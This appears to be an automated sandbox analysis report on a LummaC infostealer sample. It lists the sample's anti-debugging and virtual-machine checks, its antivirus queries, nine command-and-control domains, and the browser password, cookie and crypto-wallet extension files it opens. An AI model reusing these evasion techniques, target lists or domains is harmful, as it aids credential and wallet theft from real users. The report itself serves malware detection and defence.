Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5070B76 second address: 5070B7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5070B7C second address: 5070B80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5070B80 second address: 5070BB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4EBA07Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007FA6C4EBA086h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FA6C4EBA07Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5070BB9 second address: 5070BEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA6C4CAD511h 0x00000009 sub ah, 00000036h 0x0000000c jmp 00007FA6C4CAD511h 0x00000011 popfd 0x00000012 push eax 0x00000013 pop ebx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, esi 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5070BEE second address: 5070BF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5070CD9 second address: 5070CF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD519h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Special instruction interceptor: First address: 808A42 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Special instruction interceptor: First address: 9C6851 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\x6VtGfW26X.exe

Code function: 0_2_0080C72D rdtsc

0_2_0080C72D

Source: C:\Users\user\Desktop\x6VtGfW26X.exe TID: 2076	Thread sleep time: -150000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe TID: 1892	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\x6VtGfW26X.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: x6VtGfW26X.exe, x6VtGfW26X.exe, 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: x6VtGfW26X.exe, 00000000.00000002.1825639717.00000000011E8000.00000004.00000020.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1824627069.00000000011E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: x6VtGfW26X.exe, 00000000.00000002.1825639717.00000000011E8000.00000004.00000020.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1824627069.00000000011E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: x6VtGfW26X.exe, 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: x6VtGfW26X.exe, 00000000.00000002.1825639717.00000000011B8000.00000004.00000020.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1824627069.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Users\user\Desktop\x6VtGfW26X.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\x6VtGfW26X.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\x6VtGfW26X.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: NTICE
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: SICE
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\x6VtGfW26X.exe

Code function: 0_2_0080C72D rdtsc

0_2_0080C72D

Source: C:\Users\user\Desktop\x6VtGfW26X.exe

Code function: 0_2_007ED910 LdrInitializeThunk,

0_2_007ED910

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: x6VtGfW26X.exe	String found in binary or memory: cloudewahsj.shop
Source: x6VtGfW26X.exe	String found in binary or memory: rabidcowse.shop
Source: x6VtGfW26X.exe	String found in binary or memory: noisycuttej.shop
Source: x6VtGfW26X.exe	String found in binary or memory: tirepublicerj.shop
Source: x6VtGfW26X.exe	String found in binary or memory: framekgirus.shop
Source: x6VtGfW26X.exe	String found in binary or memory: wholersorie.shop
Source: x6VtGfW26X.exe	String found in binary or memory: abruptyopsn.shop
Source: x6VtGfW26X.exe	String found in binary or memory: nearycrepso.shop
Source: x6VtGfW26X.exe	String found in binary or memory: fancywaxxers.shop

Source: x6VtGfW26X.exe, x6VtGfW26X.exe, 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: {Program Manager

Source: C:\Users\user\Desktop\x6VtGfW26X.exe

Code function: 0_2_007E8040 cpuid

0_2_007E8040

Source: C:\Users\user\Desktop\x6VtGfW26X.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\x6VtGfW26X.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: x6VtGfW26X.exe, 00000000.00000003.1788826248.00000000059B4000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1788522082.00000000059A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %\Windows Defender\MsMpeng.exe
Source: x6VtGfW26X.exe, 00000000.00000003.1782603529.000000000126D000.00000004.00000020.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1824627069.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000002.1825639717.00000000011D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\x6VtGfW26X.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: x6VtGfW26X.exe PID: 6940, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: x6VtGfW26X.exe, 00000000.00000002.1825639717.00000000011E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: x6VtGfW26X.exe, 00000000.00000002.1825639717.00000000011E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: x6VtGfW26X.exe, 00000000.00000003.1768827006.000000000124F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: x6VtGfW26X.exe, 00000000.00000002.1825639717.00000000011E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: x6VtGfW26X.exe, 00000000.00000003.1788887914.0000000001252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: n":"aholpfdialjgjfhomihkjbmgjidlcdno","ez":"ExodusWeb3"},{"en":"onhogfjeacnfhp%
Source: x6VtGfW26X.exe, 00000000.00000002.1825639717.00000000011E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: x6VtGfW26X.exe, 00000000.00000003.1768827006.000000000124F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: x6VtGfW26X.exe, 00000000.00000003.1768756275.000000000125B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
